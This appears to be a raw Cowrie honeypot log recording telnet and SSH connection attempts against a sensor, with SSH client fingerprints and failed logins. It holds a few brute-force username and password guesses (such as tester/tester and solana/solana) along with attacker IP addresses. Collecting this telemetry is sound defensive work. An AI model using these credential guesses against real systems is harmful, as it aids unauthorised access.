{"eventid":"cowrie.session.closed","duration":31.10307025909424,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:46.275229Z","src_ip":"103.233.1.130","session":"4314e8c8479e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96518898010254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:46.500119Z","src_ip":"103.233.1.130","session":"4c1fdc0ca209","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.749796867370605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:46.600295Z","src_ip":"103.233.1.130","session":"7509a45bc886","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.852460622787476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:47.680288Z","src_ip":"103.233.1.130","session":"24253a96c85b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.086729526519775,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:47.848593Z","src_ip":"103.233.1.130","session":"c8b00158d7e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":60110,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d57a33da970","protocol":"telnet","message":"New connection: 103.233.1.130:60110 (159.203.135.109:23) [session: 0d57a33da970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:48.317354Z"}
{"eventid":"cowrie.session.closed","duration":31.18536400794983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:48.501863Z","src_ip":"103.233.1.130","session":"b250dafa28d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.986705780029297,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:49.447757Z","src_ip":"103.233.1.130","session":"1fe097f9b0f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83938193321228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:49.514529Z","src_ip":"103.233.1.130","session":"7cbd67c44ccf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":60118,"dst_ip":"159.203.135.109","dst_port":23,"session":"2aa33d58f561","protocol":"telnet","message":"New connection: 103.233.1.130:60118 (159.203.135.109:23) [session: 2aa33d58f561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:49.563293Z"}
{"eventid":"cowrie.session.closed","duration":30.858001470565796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:49.568006Z","src_ip":"103.233.1.130","session":"ad50c3258df1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":60120,"dst_ip":"159.203.135.109","dst_port":23,"session":"38a757a41925","protocol":"telnet","message":"New connection: 103.233.1.130:60120 (159.203.135.109:23) [session: 38a757a41925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:50.561684Z"}
{"eventid":"cowrie.session.closed","duration":31.7636296749115,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:51.655102Z","src_ip":"103.233.1.130","session":"40f3a2b60e6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":60134,"dst_ip":"159.203.135.109","dst_port":23,"session":"deb4a68b07c2","protocol":"telnet","message":"New connection: 103.233.1.130:60134 (159.203.135.109:23) [session: deb4a68b07c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:52.581821Z"}
{"eventid":"cowrie.session.closed","duration":30.992953300476074,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:54.362775Z","src_ip":"103.233.1.130","session":"d3c6fb0798f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":46704,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ad405179b45","protocol":"telnet","message":"New connection: 103.233.1.130:46704 (159.203.135.109:23) [session: 7ad405179b45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:54.868718Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":46716,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc12457856e1","protocol":"telnet","message":"New connection: 103.233.1.130:46716 (159.203.135.109:23) [session: dc12457856e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:55.765140Z"}
{"eventid":"cowrie.session.closed","duration":30.4668927192688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:56.299569Z","src_ip":"103.233.1.130","session":"1133287bd49f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":32826,"dst_ip":"159.203.135.109","dst_port":22,"session":"b090334e4877","protocol":"ssh","message":"New connection: 159.203.92.129:32826 (159.203.135.109:22) [session: b090334e4877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:56.736108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:56.740699Z","src_ip":"159.203.92.129","session":"b090334e4877","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:56.745041Z","src_ip":"159.203.92.129","session":"b090334e4877","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"1qaz@WSX","message":"login attempt [app/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:56.754581Z","src_ip":"159.203.92.129","session":"b090334e4877","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:57.759475Z","src_ip":"159.203.92.129","session":"b090334e4877","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":46718,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d475a1e9444","protocol":"telnet","message":"New connection: 103.233.1.130:46718 (159.203.135.109:23) [session: 4d475a1e9444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:59.658399Z"}
{"eventid":"cowrie.session.closed","duration":31.500886917114258,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:54:59.895454Z","src_ip":"103.233.1.130","session":"fcbf00dfbe2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":46726,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b04bc260ed3","protocol":"telnet","message":"New connection: 103.233.1.130:46726 (159.203.135.109:23) [session: 2b04bc260ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:00.025931Z"}
{"eventid":"cowrie.session.closed","duration":31.494282722473145,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:00.444624Z","src_ip":"103.233.1.130","session":"62d398ea7e0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.501137256622314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:00.793282Z","src_ip":"103.233.1.130","session":"ed576dce5f95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":46740,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e8505995a18","protocol":"telnet","message":"New connection: 103.233.1.130:46740 (159.203.135.109:23) [session: 2e8505995a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:00.861591Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":57462,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0d190c7b686","protocol":"ssh","message":"New connection: 122.168.114.167:57462 (159.203.135.109:22) [session: e0d190c7b686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:01.185753Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":46754,"dst_ip":"159.203.135.109","dst_port":23,"session":"3585043754d3","protocol":"telnet","message":"New connection: 103.233.1.130:46754 (159.203.135.109:23) [session: 3585043754d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:01.431071Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":46764,"dst_ip":"159.203.135.109","dst_port":23,"session":"007082ea7325","protocol":"telnet","message":"New connection: 103.233.1.130:46764 (159.203.135.109:23) [session: 007082ea7325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:04.112045Z"}
{"eventid":"cowrie.session.closed","duration":30.831427574157715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:04.231761Z","src_ip":"103.233.1.130","session":"be9dd73d93d0","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:04.449167Z","src_ip":"122.168.114.167","session":"e0d190c7b686","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:04.453554Z","src_ip":"122.168.114.167","session":"e0d190c7b686","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.480977296829224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:04.566594Z","src_ip":"103.233.1.130","session":"5e03ec9ed9b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":41892,"dst_ip":"159.203.135.109","dst_port":23,"session":"77ee2b663ac6","protocol":"telnet","message":"New connection: 103.233.1.130:41892 (159.203.135.109:23) [session: 77ee2b663ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:04.628226Z"}
{"eventid":"cowrie.session.closed","duration":31.629040479660034,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:04.865813Z","src_ip":"103.233.1.130","session":"1709433b3950","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":41908,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac4dc1f0bdd8","protocol":"telnet","message":"New connection: 103.233.1.130:41908 (159.203.135.109:23) [session: ac4dc1f0bdd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:06.453731Z"}
{"eventid":"cowrie.session.closed","duration":33.01047968864441,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:07.091234Z","src_ip":"103.233.1.130","session":"effcd9ef75f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97944450378418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:09.321203Z","src_ip":"103.233.1.130","session":"93f7dc920e20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82486343383789,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:09.543437Z","src_ip":"103.233.1.130","session":"ceffd9508f22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.391757011413574,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:09.940229Z","src_ip":"103.233.1.130","session":"d17ba50b83f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.917657613754272,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:11.205151Z","src_ip":"103.233.1.130","session":"3d751554273a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":41916,"dst_ip":"159.203.135.109","dst_port":23,"session":"420e08e897ab","protocol":"telnet","message":"New connection: 103.233.1.130:41916 (159.203.135.109:23) [session: 420e08e897ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:11.782240Z"}
{"eventid":"cowrie.session.closed","duration":30.982621431350708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:12.472259Z","src_ip":"103.233.1.130","session":"4752e8726d8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":41930,"dst_ip":"159.203.135.109","dst_port":23,"session":"875210adf8f3","protocol":"telnet","message":"New connection: 103.233.1.130:41930 (159.203.135.109:23) [session: 875210adf8f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:13.951589Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":50670,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f812b8e3fe1","protocol":"telnet","message":"New connection: 103.233.1.130:50670 (159.203.135.109:23) [session: 9f812b8e3fe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:14.262847Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":50684,"dst_ip":"159.203.135.109","dst_port":23,"session":"53ed8df3c381","protocol":"telnet","message":"New connection: 103.233.1.130:50684 (159.203.135.109:23) [session: 53ed8df3c381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:15.969067Z"}
{"eventid":"cowrie.session.closed","duration":31.384745597839355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:15.993634Z","src_ip":"103.233.1.130","session":"e9c474f2f7a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.058825492858887,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:16.761534Z","src_ip":"103.233.1.130","session":"d7ca5cd30eaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.347115755081177,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:16.778478Z","src_ip":"103.233.1.130","session":"362a5d1b1f30","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:18.250284Z","src_ip":"122.168.114.167","session":"e0d190c7b686","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":50696,"dst_ip":"159.203.135.109","dst_port":23,"session":"39daf8bbccdf","protocol":"telnet","message":"New connection: 103.233.1.130:50696 (159.203.135.109:23) [session: 39daf8bbccdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:19.813526Z"}
{"eventid":"cowrie.session.closed","duration":31.522099494934082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:19.839342Z","src_ip":"103.233.1.130","session":"0d57a33da970","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.722281217575073,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:20.285462Z","src_ip":"103.233.1.130","session":"2aa33d58f561","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":50712,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f3e75ccdbf4","protocol":"telnet","message":"New connection: 103.233.1.130:50712 (159.203.135.109:23) [session: 0f3e75ccdbf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:20.374820Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":42600,"dst_ip":"159.203.135.109","dst_port":22,"session":"7eaa9edd7b58","protocol":"ssh","message":"New connection: 80.94.92.168:42600 (159.203.135.109:22) [session: 7eaa9edd7b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:20.564350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:20.569169Z","src_ip":"80.94.92.168","session":"7eaa9edd7b58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:20.671889Z","src_ip":"80.94.92.168","session":"7eaa9edd7b58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.727180242538452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:21.288756Z","src_ip":"103.233.1.130","session":"38a757a41925","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:21.311965Z","src_ip":"80.94.92.168","session":"7eaa9edd7b58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:22.499280Z","src_ip":"80.94.92.168","session":"7eaa9edd7b58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":50722,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8a58005ce63","protocol":"telnet","message":"New connection: 103.233.1.130:50722 (159.203.135.109:23) [session: c8a58005ce63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:22.682837Z"}
{"eventid":"cowrie.session.closed","duration":"21.6","message":"Connection lost after 21.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:22.769653Z","src_ip":"122.168.114.167","session":"e0d190c7b686","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.49508237838745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:24.076784Z","src_ip":"103.233.1.130","session":"deb4a68b07c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98121404647827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:25.849827Z","src_ip":"103.233.1.130","session":"7ad405179b45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.233.1.130","src_port":56344,"dst_ip":"159.203.135.109","dst_port":23,"session":"94b36fdc6261","protocol":"telnet","message":"New connection: 103.233.1.130:56344 (159.203.135.109:23) [session: 94b36fdc6261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:55:26.183835Z"}
